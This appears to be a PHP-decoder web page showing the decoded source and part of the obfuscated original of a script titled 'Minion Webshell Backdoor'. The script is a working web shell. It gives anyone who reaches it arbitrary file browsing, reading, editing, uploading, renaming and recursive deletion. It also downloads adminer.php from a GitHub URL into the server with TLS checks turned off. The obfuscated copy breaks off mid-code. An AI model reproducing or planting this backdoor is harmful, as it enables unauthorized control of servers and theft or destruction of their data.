Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php error_reporting(0); // goto UzygV; uYWVH: function gantiNama($Zz9xO, $eFE5t) { g..
Decoded Output download
<?php
error_reporting(0);
//
goto UzygV; uYWVH: function gantiNama($Zz9xO, $eFE5t) { goto wMWry; lTX96: goto K38Uc; goto MwtiG; CjFi6: return 0; goto lTX96; wMWry: if (rename($Zz9xO, $eFE5t)) { goto IRfoG; } goto CjFi6; zO7B8: return 1; goto JM_OD; JM_OD: K38Uc: goto K1rpI; MwtiG: IRfoG: goto zO7B8; K1rpI: } goto wDMHk; vpXrW: if (!$_GET["delete"]) { goto m8y_L; } goto gvzKc; JOBkz: exit; goto dHoGP; A3cZ7: exit; goto bwcR1; pcd8a: m8y_L: goto V1SJ4; TXA05: echo $Eungk; goto zNPLg; braFf: exit; goto p4Fv0; TtrXt: if (!$_POST["pth"]) { goto l7KuN; } goto kK0tp; IbREF: $bQY7b = $_POST["path"]; goto wPwgT; kCEVz: function checkRead($BJiQl) { goto iLgbn; aWBbM: JY28x: goto tFcjO; keW7u: goto JY28x; goto DuXoS; TOZ2J: return 0; goto keW7u; iLgbn: if (is_readable($BJiQl)) { goto Dj6kM; } goto TOZ2J; HJk1c: return 1; goto aWBbM; DuXoS: Dj6kM: goto HJk1c; tFcjO: } goto wDIT8; UzygV: function currentPath() { goto hyuyq; iZEnb: @chdir($BJiQl); goto eN8OZ; Vmx_o: goto kFuHM; goto Jza7l; zRLXi: $BJiQl = str_replace("\", "/", getcwd()); goto Vmx_o; gFPj2: $BJiQl = str_replace("\", "/", $_GET["dir"]); goto iZEnb; NiL2P: return $BJiQl; goto PoliM; hyuyq: if (isset($_GET["dir"])) { goto dxkYp; } goto zRLXi; Jza7l: dxkYp: goto gFPj2; eN8OZ: kFuHM: goto NiL2P; PoliM: } goto ABixy; wPwgT: if (editFile($bQY7b, $NZQdB)) { goto uJM4L; } goto XhYhW; zNPLg: exit; goto DRd6D; ABixy: function OS() { return substr(strtoupper(PHP_OS), 0, 3) === "WIN" ? "Windows" : "Linux"; } goto CsabB; Y452Y: if (!isset($_GET["adminer"])) { goto PX6C2; } goto syL82; SFmYI: dCPij: goto ZLOnm; pWtZ0: $Eungk = file_get_contents($_GET["file"]); goto TXA05; hwEPb: echo 1; goto UxgDN; ZLOnm: NQMbO: goto TtrXt; nIPBv: $J_G98 = $_POST["baru"]; goto L4YWo; Odf9L: if (!isset($_GET["rename"])) { goto NQMbO; } goto ogs0m; CtozO: function checkDir($BJiQl) { goto BHJjr; BHJjr: if (is_dir($BJiQl)) { goto idq5Y; } goto BhGSI; aP5iY: V9fez: goto pDUwT; Nqn2R: idq5Y: goto zrSjQ; zrSjQ: return 1; goto aP5iY; iQy1p: goto V9fez; goto Nqn2R; BhGSI: return 0; goto iQy1p; pDUwT: } goto kCEVz; wDMHk: function delAll($vF2T1) { goto T3wYC; T3wYC: if (is_dir($vF2T1)) { goto ClRol; } goto uhflG; nmD58: echo 0; goto kNNfS; J0bV2: echo 1; goto V1dnT; aXBzK: goto nMiIA; goto zOfwZ; V1dnT: exit; goto OJhnF; NYhux: goto oKAWO; goto SBpMw; I5Nn3: echo 0; goto PtCfZ; kNNfS: exit; goto aXBzK; yFsCD: goto CMXGx; goto fmZA9; zOfwZ: XNA4c: goto uKQFR; cKAJ2: if (rmdir($vF2T1)) { goto K8UWK; } goto I5Nn3; m56sn: Rsooy: goto cKAJ2; uKQFR: echo 1; goto J2_WZ; PtCfZ: exit; goto NYhux; cg_ED: foreach (scandir($vF2T1) as $JDi6m) { goto nkTOZ; IYEqO: duyYi: goto RqPFG; M0ZlZ: F5Osn: goto dnE3U; PWtyI: unlink("{$vF2T1}/{$JDi6m}"); goto h262c; gihgA: goto J_Nk0; goto M0ZlZ; h262c: goto duyYi; goto AtTj1; nkTOZ: if (!("." === $JDi6m || ".." === $JDi6m)) { goto F5Osn; } goto gihgA; d0f1y: delAll("{$vF2T1}/{$JDi6m}"); goto IYEqO; RqPFG: J_Nk0: goto LtCDZ; dnE3U: if (is_dir("{$vF2T1}/{$JDi6m}")) { goto aoml9; } goto PWtyI; AtTj1: aoml9: goto d0f1y; LtCDZ: } goto m56sn; fmZA9: ClRol: goto cg_ED; sThyw: nMiIA: goto yFsCD; OJhnF: oKAWO: goto JmtKc; J2_WZ: exit; goto sThyw; uhflG: if (unlink($vF2T1)) { goto XNA4c; } goto nmD58; SBpMw: K8UWK: goto J0bV2; JmtKc: CMXGx: goto MV75N; MV75N: } goto lQZEy; kK0tp: $wB7DX = $_POST["pth"] . "/"; goto wW8ba; oUVxx: p0pwe: goto kADOl; F61e2: function editFile($vP3Ci, $NZQdB) { goto jYKw4; SiS67: return 0; goto vssUa; Yl_jw: if (fwrite($LTkke, $NZQdB)) { goto RL3nr; } goto SiS67; irZGg: RL3nr: goto IUoi0; IUoi0: return 1; goto wC_IP; jYKw4: $LTkke = fopen($vP3Ci, "w") or die("Unable to open file!"); goto Yl_jw; wC_IP: BhL2X: goto KOhvz; vssUa: goto BhL2X; goto irZGg; KOhvz: } goto uYWVH; dxk9B: delAll($vF2T1); goto pcd8a; swaeh: if (move_uploaded_file($_FILES["uploadName"]["tmp_name"], $RcWjT)) { goto p0pwe; } goto NtrfI; ORgfm: u9VxE: goto TKIPh; NtrfI: echo "<script>alert(`Sorry, there was an error uploading your file.`)"; goto K1MIy; gvzKc: $vF2T1 = $_GET["delete"]; goto dxk9B; bwcR1: dnO0g: goto C2fq9; kADOl: echo "<script>alert(`The file " . htmlspecialchars(basename($_FILES["uploadName"]["name"])) . " has been uploaded.`)</script>"; goto ORgfm; syL82: getAdminer(); goto v3_nj; ovTY8: function linkPath() { goto uOWgQ; E2hAJ: foreach ($BJiQl as $OIfuj => $RChgi) { goto f3sIt; C0v2B: echo "'>{$RChgi}</a>/"; goto bs8B1; PuVyj: f_1__: goto NhXK6; f3sIt: print "<a style='color:silver' href='?dir="; goto AkPfp; Gn0do: echo $BJiQl[$zNQBf]; goto Y2Co8; I_0p_: jcs8R: goto iExR3; AkPfp: $zNQBf = 0; goto I_0p_; NhXK6: zcCQu: goto eZky5; eZky5: $zNQBf++; goto NdW0z; RKl3g: RZ_0x: goto C0v2B; bs8B1: yfnfB: goto ALx7X; NdW0z: goto jcs8R; goto RKl3g; iExR3: if (!($zNQBf <= $OIfuj)) { goto RZ_0x; } goto Gn0do; HEpYg: echo "/"; goto PuVyj; Y2Co8: if (!($zNQBf != $OIfuj)) { goto f_1__; } goto HEpYg; ALx7X: } goto wnVVB; uOWgQ: $BJiQl = explode("/", currentPath()); goto E2hAJ; PZlYJ: echo "<br>"; goto MgQQz; MgQQz: echo OS() === "Windows" ? windisk() : ''; goto Atd65; wnVVB: y7pBD: goto PZlYJ; Atd65: } goto CtozO; WuKse: echo 0; goto braFf; CsabB: function listDir($vP3Ci) { $BJiQl = scandir($vP3Ci); return $BJiQl; } goto ovTY8; DRd6D: N_zR4: goto vpXrW; ogs0m: $QZJF9 = $_POST["lama"]; goto nIPBv; XhYhW: echo 0; goto JOBkz; ZfjN4: function perms($vP3Ci) { goto nsc8B; Z61RW: relh1: goto q_v_N; gJTf4: $cnm1D = "c"; goto MPjQd; bY9TA: goto b3Uml; goto kx_JY; qnXTN: if (($Osz0D & 0x2000) == 0x2000) { goto bI1hO; } goto UKRJB; S53aa: $cnm1D = "l"; goto bY9TA; WC14t: goto b3Uml; goto pUZaP; Snm70: $cnm1D .= $Osz0D & 0x20 ? "r" : "-"; goto UEuQ3; qwV1p: return $cnm1D; goto q3gar; SbYVj: if (($Osz0D & 0xa000) == 0xa000) { goto E1Lyv; } goto l86Y4; E6sz6: goto b3Uml; goto jGnAl; WzsvK: if (($Osz0D & 0x6000) == 0x6000) { goto S9x6i; } goto FyWSm; ht6rO: E1Lyv: goto S53aa; FyWSm: if (($Osz0D & 0x4000) == 0x4000) { goto gZj5w; } goto qnXTN; Ff6U9: gZj5w: goto lLXw3; EkSEF: $cnm1D .= $Osz0D & 0x1 ? $Osz0D & 0x200 ? "t" : "x" : ($Osz0D & 0x200 ? "T" : "-"); goto qwV1p; UKRJB: if (($Osz0D & 0x1000) == 0x1000) { goto relh1; } goto jY3FY; TIDf7: goto b3Uml; goto Ff6U9; ove0j: $cnm1D = "b"; goto TIDf7; jGnAl: bI1hO: goto gJTf4; Pp48I: $cnm1D .= $Osz0D & 0x4 ? "r" : "-"; goto dWkIp; nsc8B: $Osz0D = fileperms($vP3Ci); goto ctWx2; lLXw3: $cnm1D = "d"; goto E6sz6; GgpGU: $cnm1D .= $Osz0D & 0x40 ? $Osz0D & 0x800 ? "s" : "x" : ($Osz0D & 0x800 ? "S" : "-"); goto Snm70; UGXlE: goto b3Uml; goto qDDj0; pUZaP: dmlCw: goto i3DSG; UEuQ3: $cnm1D .= $Osz0D & 0x10 ? "w" : "-"; goto N7H5c; dWkIp: $cnm1D .= $Osz0D & 0x2 ? "w" : "-"; goto EkSEF; jY3FY: $cnm1D = "u"; goto WC14t; N7H5c: $cnm1D .= $Osz0D & 0x8 ? $Osz0D & 0x400 ? "s" : "x" : ($Osz0D & 0x400 ? "S" : "-"); goto Pp48I; l86Y4: if (($Osz0D & 0x8000) == 0x8000) { goto sqm5B; } goto WzsvK; kx_JY: sqm5B: goto GoCDH; tQ6Hj: goto b3Uml; goto ht6rO; ctWx2: if (($Osz0D & 0xc000) == 0xc000) { goto dmlCw; } goto SbYVj; pCP2B: b3Uml: goto YK0Xi; MPjQd: goto b3Uml; goto Z61RW; YK0Xi: $cnm1D .= $Osz0D & 0x100 ? "r" : "-"; goto z7mNk; q_v_N: $cnm1D = "p"; goto pCP2B; z7mNk: $cnm1D .= $Osz0D & 0x80 ? "w" : "-"; goto GgpGU; qDDj0: S9x6i: goto ove0j; GoCDH: $cnm1D = "-"; goto UGXlE; i3DSG: $cnm1D = "s"; goto tQ6Hj; q3gar: } goto Hc2Ir; UxgDN: exit; goto SFmYI; GmNfe: uJM4L: goto Of2V2; wDIT8: function checkWrite($BJiQl) { goto l9pTN; jin8f: goto KFcKH; goto pGfBL; pGfBL: Oit6W: goto nW90N; t4C7d: KFcKH: goto WNnav; nW90N: return 1; goto t4C7d; xXxL4: return 0; goto jin8f; l9pTN: if (is_writeable($BJiQl)) { goto Oit6W; } goto xXxL4; WNnav: } goto ZfjN4; wW8ba: $RcWjT = $wB7DX . basename($_FILES["uploadName"]["name"]); goto swaeh; C2fq9: j_GtM: goto Odf9L; K1MIy: goto u9VxE; goto oUVxx; TKIPh: l7KuN: goto Y452Y; L4YWo: if (gantinama($QZJF9, $J_G98)) { goto W0XYH; } goto WuKse; Of2V2: echo 1; goto A3cZ7; p4Fv0: goto dCPij; goto WAgj1; h2DCf: function sizeFile($vP3Ci) { goto gYl1i; zI0qD: return number_format($LjEK4 / pow(1024, $AQQcf), 2, ".", ",") . " " . $fkzvK[$AQQcf]; goto u_bSM; xAaGH: $fkzvK = array("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB"); goto TqQmf; TqQmf: $AQQcf = $LjEK4 > 0 ? floor(log($LjEK4, 1024)) : 0; goto zI0qD; gYl1i: $LjEK4 = filesize($vP3Ci); goto xAaGH; u_bSM: } goto F61e2; dHoGP: goto dnO0g; goto GmNfe; LDCMl: $NZQdB = $_POST["text"]; goto IbREF; Hc2Ir: function getAdminer() { goto pplsO; hp3zB: curl_setopt($WTdo3, CURLOPT_FILE, $omEy9); goto b5Npu; DpHnA: $omEy9 = fopen($vutrm[1], "w"); goto R7CVX; g4m6v: curl_setopt($WTdo3, CURLOPT_RETURNTRANSFER, true); goto Kn1y6; R7CVX: $WTdo3 = curl_init(); goto B8u6n; r3QyG: Kk_qs: goto LL08t; nnAmR: ob_flush(); goto ODo89; LvU8F: $kRzpC = str_replace($_SERVER["DOCUMENT_ROOT"], '', currentPath()); goto kFdce; TRP6D: goto Kk_qs; goto V7gw3; kFdce: $vutrm = array("https://raw.githubusercontent.com/security007/adminer/master/adminer.php", "adminer.php"); goto DpHnA; pplsO: if (!is_writable(currentPath())) { goto nWqSQ; } goto LvU8F; Kljx3: curl_setopt($WTdo3, CURLOPT_SSL_VERIFYHOST, false); goto hp3zB; Kn1y6: curl_setopt($WTdo3, CURLOPT_SSL_VERIFYPEER, false); goto Kljx3; B8u6n: curl_setopt($WTdo3, CURLOPT_URL, $vutrm[0]); goto uyv6i; sm0V6: echo "var win = window.open(`http://" . $_SERVER["HTTP_HOST"] . $kRzpC . "/adminer.php`, '_blank');if (win) {win.focus();} else {alert('Please allow popups for this website');}"; goto mHoUH; QuknQ: echo "<script>alert(`This directory not writable.`)</script>"; goto r3QyG; uyv6i: curl_setopt($WTdo3, CURLOPT_BINARYTRANSFER, true); goto g4m6v; mHoUH: echo "</script>"; goto TRP6D; ODo89: flush(); goto Dh6wI; dV0gB: fclose($omEy9); goto nnAmR; Dh6wI: echo "<script>"; goto sm0V6; F9uTq: curl_close($WTdo3); goto dV0gB; b5Npu: curl_exec($WTdo3); goto F9uTq; V7gw3: nWqSQ: goto QuknQ; LL08t: } goto h2DCf; WAgj1: W0XYH: goto hwEPb; V1SJ4: if (!isset($_GET["edit"])) { goto j_GtM; } goto LDCMl; lQZEy: if (!$_GET["file"]) { goto N_zR4; } goto pWtZ0; v3_nj: PX6C2:
//
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Minion Webshell Backdoor</title>
<script src="https://code.jquery.com/jquery-3.6.1.js" integrity="sha256-3zlB5s2uwoUzrXK3BT7AX3FyvojsraNFxCc2vC/7pNI=" crossorigin="anonymous"></script>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" integrity="sha384-Zenh87qX5JnK2Jl0vWa8Ck2rdkQ2Bzep5IDxbcnCeuOxjzrPF/et3URy9Bv1WTRi" crossorigin="anonymous">
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.min.js" integrity="sha384-IDwe1+LCz02ROU9k972gdyvl+AESN10+x7tBKgc9I5HFtuNz0wWnPclzo6p9vxnk" crossorigin="anonymous"></script>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Chakra+Petch:wght@300&display=swap" rel="stylesheet">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/font/bootstrap-icons.css">
<style>
*{
font-family: 'Chakra Petch', sans-serif;
color:silver;
}
a{
text-decoration:none;
}
body{
background-color:black;
}
</style>
</head>
<body>
<div class="container">
<div class="text-center">
<h1><a style="color:silver" href="<?= $_SERVER['PHP_SELF'];?>">Minion Webshell Backdoor</a></h1>
</div>
<p class="text-center"><?= php_uname(); ?><br><a class="text-white text-center" href="<?= $_SERVER['PHP_SELF']."?dir=".currentPath() ?>&adminer">[ADMINER DOWNLOAD]</a></p>
<span class="text-white">Current Path : <span style="color:silver"><?php linkPath(); ?></span></span>
<form class="mt-2" action="<?= $_SERVER['PHP_SELF']."?dir=".currentPath() ?>" enctype="multipart/form-data" method="post">
<div class="row">
<div class="col">
<input type="hidden" name="pth" value="<?= currentPath(); ?>">
<input class="form-control" type="file" name="uploadName">
</div>
<div class="col">
<button type="submit" class="btn btn-light">Upload</button>
</div>
</div>
</form>
<table id="dt" class="table table-bordered mt-2">
<tr class="bg-dark">
<th class="text-center">File/Folder</th>
<th class="text-center">Size</th>
<th class="text-center">Permission</th>
<th class="text-center">Action</th>
</tr>
<?php
if (checkRead(currentPath()) == 1){
foreach (listDir(currentPath()) as $listAll){
if (checkDir($listAll) == 1){
if($listAll != '.' && $listAll != '..'){
echo "<tr>";
echo "<td style='font-weight:bold;color:white'><i class='bi bi-folder'></i> <a style='color:white' href='?dir=".currentPath()."/".$listAll."'>$listAll</a></td>";
echo "<td class='text-center' style='font-weight:bold;color:white'>-</td>";
echo "<td style='font-weight:bold;color:white' class='text-center'>".perms($listAll)."</td>";
echo "<td class='text-center'><button class='btn btn-dark btn-sm' onclick='deleteF(`".currentPath()."/".$listAll."`)'>Delete</button> <button onclick='rename(`".$listAll."`)' class='btn btn-dark btn-sm'>Rename</button></td>";
}
}
}
foreach (listDir(currentPath()) as $listAll){
if (checkDir($listAll) == 0){
echo "<tr>";
echo "<td><i class='bi bi-file-earmark-code'></i> $listAll</td>";
echo "<td class='text-center'>".sizeFile($listAll)."</td>";
echo "<td class='text-center'>".perms($listAll)."</td>";
echo "<td class='text-center'><button class='btn btn-light btn-sm' onclick='editFile(`".currentPath()."/".$listAll."`)'>Edit</button> <button onclick='deleteF(`".currentPath()."/".$listAll."`)' class='btn btn-dark btn-sm'>Delete</button> <button onclick='rename(`".$listAll."`)' class='btn btn-dark btn-sm'>Rename</button></td>";
echo "</tr>";
}
}
}else{
echo "<tr>";
echo "<td colspan='4' class='text-danger text-center mt-2'>Not Readable !!</td>";
echo "</tr>";
}
?>
</table>
</div>
<!-- modal for edit file -->
<div class="modal" id="editModal" tabindex="-1">
<div class="modal-dialog modal-lg">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">Edit <span id="f"></span></h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
<input type="hidden" id="fName">
<textarea class="form-control" id="editFile" rows=10 ></textarea>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
<button type="button" class="btn btn-primary" id="save">Save changes</button>
</div>
</div>
</div>
</div>
<!-- rename -->
<div class="modal" id="renameModal" tabindex="-1">
<div class="modal-dialog modal-lg">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">Rename <span id="f"></span></h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
<input type="text" id="lama" name="lama" class="form-control" readonly>
<label for="" class="form-label">Rename To</label>
<input type="text" name="baru" id="baru" class="form-control">
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
<button type="button" class="btn btn-primary" id="rename">Save changes</button>
</div>
</div>
</div>
</div>
<script>
function editFile(filename){
$('#editFile').val("Loading...");
$.get("?file="+filename, function(data, status){
$('#editFile').val(data);
$('#fName').val(filename);
$('#f').text(filename);
});
$('#editModal').modal('show');
}
function rename(namalama){
var lama = namalama;
$('#lama').val(lama);
$('#renameModal').modal('show');
}
function deleteF(filename){
$.get("?delete="+filename, function(data, status){
if(data == 1){
alert("Deleted !!");
location.href='<?= $_SERVER['PHP_SELF']."?dir=".currentPath() ?>';
}else{
alert("Failed !!");
}
});
}
$(document).ready(function(){
$('#rename').click(function(){
var lama = $('#lama').val();
var baru = $('#baru').val();
var pat = "<?= currentPath() . "/" ?>";
$.ajax({
url: "?rename",
type:"post",
data: {
'lama':pat+lama,
'baru':pat+baru
},
success:function(response){
if (response == 1){
alert("Success rename");
location.href = '<?= $_SERVER['PHP_SELF']."?dir=".currentPath() ?>';
}else{
alert('Failed rename');
}
}
})
})
$('#save').click(function(){
var text = $('#editFile').val();
var path = $('#fName').val();
$.ajax({
url: "?edit",
type: "post",
data: {
'text':text,
'path':path
} ,
success: function (response) {
if (response == 1){
alert("Success edit data");
location.href = '<?= $_SERVER['PHP_SELF']."?dir=".currentPath() ?>';
}else{
alert("Failed to edit data");
}
},
});
})
})
</script>
</body>
</html>
Did this file decode correctly?
Original Code
<?php
error_reporting(0);
//
goto UzygV; uYWVH: function gantiNama($Zz9xO, $eFE5t) { goto wMWry; lTX96: goto K38Uc; goto MwtiG; CjFi6: return 0; goto lTX96; wMWry: if (rename($Zz9xO, $eFE5t)) { goto IRfoG; } goto CjFi6; zO7B8: return 1; goto JM_OD; JM_OD: K38Uc: goto K1rpI; MwtiG: IRfoG: goto zO7B8; K1rpI: } goto wDMHk; vpXrW: if (!$_GET["\x64\x65\154\145\x74\145"]) { goto m8y_L; } goto gvzKc; JOBkz: exit; goto dHoGP; A3cZ7: exit; goto bwcR1; pcd8a: m8y_L: goto V1SJ4; TXA05: echo $Eungk; goto zNPLg; braFf: exit; goto p4Fv0; TtrXt: if (!$_POST["\160\x74\x68"]) { goto l7KuN; } goto kK0tp; IbREF: $bQY7b = $_POST["\x70\x61\x74\150"]; goto wPwgT; kCEVz: function checkRead($BJiQl) { goto iLgbn; aWBbM: JY28x: goto tFcjO; keW7u: goto JY28x; goto DuXoS; TOZ2J: return 0; goto keW7u; iLgbn: if (is_readable($BJiQl)) { goto Dj6kM; } goto TOZ2J; HJk1c: return 1; goto aWBbM; DuXoS: Dj6kM: goto HJk1c; tFcjO: } goto wDIT8; UzygV: function currentPath() { goto hyuyq; iZEnb: @chdir($BJiQl); goto eN8OZ; Vmx_o: goto kFuHM; goto Jza7l; zRLXi: $BJiQl = str_replace("\134", "\57", getcwd()); goto Vmx_o; gFPj2: $BJiQl = str_replace("\x5c", "\57", $_GET["\144\x69\x72"]); goto iZEnb; NiL2P: return $BJiQl; goto PoliM; hyuyq: if (isset($_GET["\144\151\x72"])) { goto dxkYp; } goto zRLXi; Jza7l: dxkYp: goto gFPj2; eN8OZ: kFuHM: goto NiL2P; PoliM: } goto ABixy; wPwgT: if (editFile($bQY7b, $NZQdB)) { goto uJM4L; } goto XhYhW; zNPLg: exit; goto DRd6D; ABixy: function OS() { return substr(strtoupper(PHP_OS), 0, 3) === "\127\x49\x4e" ? "\127\151\x6e\x64\157\x77\163" : "\x4c\x69\156\x75\170"; } goto CsabB; Y452Y: if (!isset($_GET["\141\144\155\x69\x6e\x65\162"])) { goto PX6C2; } goto syL82; SFmYI: dCPij: goto ZLOnm; pWtZ0: $Eungk = file_get_contents($_GET["\146\x69\154\x65"]); goto TXA05; hwEPb: echo 1; goto UxgDN; ZLOnm: NQMbO: goto TtrXt; nIPBv: $J_G98 = $_POST["\x62\141\162\x75"]; goto L4YWo; Odf9L: if (!isset($_GET["\162\x65\x6e\141\x6d\x65"])) { goto NQMbO; } goto ogs0m; CtozO: function checkDir($BJiQl) { goto BHJjr; BHJjr: if (is_dir($BJiQl)) { goto idq5Y; } goto BhGSI; aP5iY: V9fez: goto pDUwT; Nqn2R: idq5Y: goto zrSjQ; zrSjQ: return 1; goto aP5iY; iQy1p: goto V9fez; goto Nqn2R; BhGSI: return 0; goto iQy1p; pDUwT: } goto kCEVz; wDMHk: function delAll($vF2T1) { goto T3wYC; T3wYC: if (is_dir($vF2T1)) { goto ClRol; } goto uhflG; nmD58: echo 0; goto kNNfS; J0bV2: echo 1; goto V1dnT; aXBzK: goto nMiIA; goto zOfwZ; V1dnT: exit; goto OJhnF; NYhux: goto oKAWO; goto SBpMw; I5Nn3: echo 0; goto PtCfZ; kNNfS: exit; goto aXBzK; yFsCD: goto CMXGx; goto fmZA9; zOfwZ: XNA4c: goto uKQFR; cKAJ2: if (rmdir($vF2T1)) { goto K8UWK; } goto I5Nn3; m56sn: Rsooy: goto cKAJ2; uKQFR: echo 1; goto J2_WZ; PtCfZ: exit; goto NYhux; cg_ED: foreach (scandir($vF2T1) as $JDi6m) { goto nkTOZ; IYEqO: duyYi: goto RqPFG; M0ZlZ: F5Osn: goto dnE3U; PWtyI: unlink("{$vF2T1}\57{$JDi6m}"); goto h262c; gihgA: goto J_Nk0; goto M0ZlZ; h262c: goto duyYi; goto AtTj1; nkTOZ: if (!("\x2e" === $JDi6m || "\x2e\x2e" === $JDi6m)) { goto F5Osn; } goto gihgA; d0f1y: delAll("{$vF2T1}\x2f{$JDi6m}"); goto IYEqO; RqPFG: J_Nk0: goto LtCDZ; dnE3U: if (is_dir("{$vF2T1}\57{$JDi6m}")) { goto aoml9; } goto PWtyI; AtTj1: aoml9: goto d0f1y; LtCDZ: } goto m56sn; fmZA9: ClRol: goto cg_ED; sThyw: nMiIA: goto yFsCD; OJhnF: oKAWO: goto JmtKc; J2_WZ: exit; goto sThyw; uhflG: if (unlink($vF2T1)) { goto XNA4c; } goto nmD58; SBpMw: K8UWK: goto J0bV2; JmtKc: CMXGx: goto MV75N; MV75N: } goto lQZEy; kK0tp: $wB7DX = $_POST["\x70\x74\x68"] . "\57"; goto wW8ba; oUVxx: p0pwe: goto kADOl; F61e2: function editFile($vP3Ci, $NZQdB) { goto jYKw4; SiS67: return 0; goto vssUa; Yl_jw: if (fwrite($LTkke, $NZQdB)) { goto RL3nr; } goto SiS67; irZGg: RL3nr: goto IUoi0; IUoi0: return 1; goto wC_IP; jYKw4: $LTkke = fopen($vP3Ci, "\x77") or die("\x55\156\x61\x62\x6c\x65\x20\164\x6f\x20\157\x70\145\x6e\x20\146\x69\154\145\41"); goto Yl_jw; wC_IP: BhL2X: goto KOhvz; vssUa: goto BhL2X; goto irZGg; KOhvz: } goto uYWVH; dxk9B: delAll($vF2T1); goto pcd8a; swaeh: if (move_uploaded_file($_FILES["\165\160\x6c\x6f\141\x64\116\x61\155\x65"]["\164\x6d\x70\137\x6e\x61\155\145"], $RcWjT)) { goto p0pwe; } goto NtrfI; ORgfm: u9VxE: goto TKIPh; NtrfI: echo "\x3c\x73\143\x72\151\x70\x74\76\x61\154\145\x72\164\50\x60\x53\157\x72\162\x79\x2c\x20\164\150\x65\x72\x65\x20\x77\141\163\x20\141\x6e\40\x65\x72\x72\x6f\162\40\x75\x70\x6c\x6f\x61\x64\x69\x6e\x67\40\x79\157\165\162\x20\146\x69\154\x65\x2e\x60\x29"; goto K1MIy; gvzKc: $vF2T1 = $_GET["\144\x65\154\x65\x74\x65"]; goto dxk9B; bwcR1: dnO0g: goto C2fq9; kADOl: echo "\74\163\143\x72\x69\x70\164\76\141\154\145\162\x74\50\140\124\150\145\x20\x66\151\x6c\x65\x20" . htmlspecialchars(basename($_FILES["\165\160\x6c\x6f\141\144\x4e\141\155\145"]["\x6e\141\155\145"])) . "\x20\x68\x61\163\40\142\145\x65\156\x20\x75\x70\x6c\x6f\141\x64\x65\x64\56\x60\51\74\57\163\143\x72\151\160\164\76"; goto ORgfm; syL82: getAdminer(); goto v3_nj; ovTY8: function linkPath() { goto uOWgQ; E2hAJ: foreach ($BJiQl as $OIfuj => $RChgi) { goto f3sIt; C0v2B: echo "\x27\76{$RChgi}\x3c\x2f\141\76\57"; goto bs8B1; PuVyj: f_1__: goto NhXK6; f3sIt: print "\74\141\40\163\x74\x79\x6c\145\x3d\x27\x63\x6f\154\157\162\x3a\x73\151\154\166\145\162\x27\x20\150\x72\x65\146\75\47\77\x64\x69\x72\75"; goto AkPfp; Gn0do: echo $BJiQl[$zNQBf]; goto Y2Co8; I_0p_: jcs8R: goto iExR3; AkPfp: $zNQBf = 0; goto I_0p_; NhXK6: zcCQu: goto eZky5; eZky5: $zNQBf++; goto NdW0z; RKl3g: RZ_0x: goto C0v2B; bs8B1: yfnfB: goto ALx7X; NdW0z: goto jcs8R; goto RKl3g; iExR3: if (!($zNQBf <= $OIfuj)) { goto RZ_0x; } goto Gn0do; HEpYg: echo "\x2f"; goto PuVyj; Y2Co8: if (!($zNQBf != $OIfuj)) { goto f_1__; } goto HEpYg; ALx7X: } goto wnVVB; uOWgQ: $BJiQl = explode("\x2f", currentPath()); goto E2hAJ; PZlYJ: echo "\74\x62\162\x3e"; goto MgQQz; MgQQz: echo OS() === "\127\151\x6e\x64\x6f\x77\163" ? windisk() : ''; goto Atd65; wnVVB: y7pBD: goto PZlYJ; Atd65: } goto CtozO; WuKse: echo 0; goto braFf; CsabB: function listDir($vP3Ci) { $BJiQl = scandir($vP3Ci); return $BJiQl; } goto ovTY8; DRd6D: N_zR4: goto vpXrW; ogs0m: $QZJF9 = $_POST["\x6c\141\x6d\141"]; goto nIPBv; XhYhW: echo 0; goto JOBkz; ZfjN4: function perms($vP3Ci) { goto nsc8B; Z61RW: relh1: goto q_v_N; gJTf4: $cnm1D = "\x63"; goto MPjQd; bY9TA: goto b3Uml; goto kx_JY; qnXTN: if (($Osz0D & 0x2000) == 0x2000) { goto bI1hO; } goto UKRJB; S53aa: $cnm1D = "\x6c"; goto bY9TA; WC14t: goto b3Uml; goto pUZaP; Snm70: $cnm1D .= $Osz0D & 0x20 ? "\162" : "\55"; goto UEuQ3; qwV1p: return $cnm1D; goto q3gar; SbYVj: if (($Osz0D & 0xa000) == 0xa000) { goto E1Lyv; } goto l86Y4; E6sz6: goto b3Uml; goto jGnAl; WzsvK: if (($Osz0D & 0x6000) == 0x6000) { goto S9x6i; } goto FyWSm; ht6rO: E1Lyv: goto S53aa; FyWSm: if (($Osz0D & 0x4000) == 0x4000) { goto gZj5w; } goto qnXTN; Ff6U9: gZj5w: goto lLXw3; EkSEF: $cnm1D .= $Osz0D & 0x1 ? $Osz0D & 0x200 ? "\x74" : "\x78" : ($Osz0D & 0x200 ? "\x54" : "\55"); goto qwV1p; UKRJB: if (($Osz0D & 0x1000) == 0x1000) { goto relh1; } goto jY3FY; TIDf7: goto b3Uml; goto Ff6U9; ove0j: $cnm1D = "\142"; goto TIDf7; jGnAl: bI1hO: goto gJTf4; Pp48I: $cnm1D .= $Osz0D & 0x4 ? "\x72" : "\x2d"; goto dWkIp; nsc8B: $Osz0D = fileperms($vP3Ci); goto ctWx2; lLXw3: $cnm1D = "\x64"; goto E6sz6; GgpGU: $cnm1D .= $Osz0D & 0x40 ? $Osz0D & 0x800 ? "\163" : "\x78" : ($Osz0D & 0x800 ? "\x53" : "\55"); goto Snm70; UGXlE: goto b3Uml; goto qDDj0; pUZaP: dmlCw: goto i3DSG; UEuQ3: $cnm1D .= $Osz0D & 0x10 ? "\167" : "\55"; goto 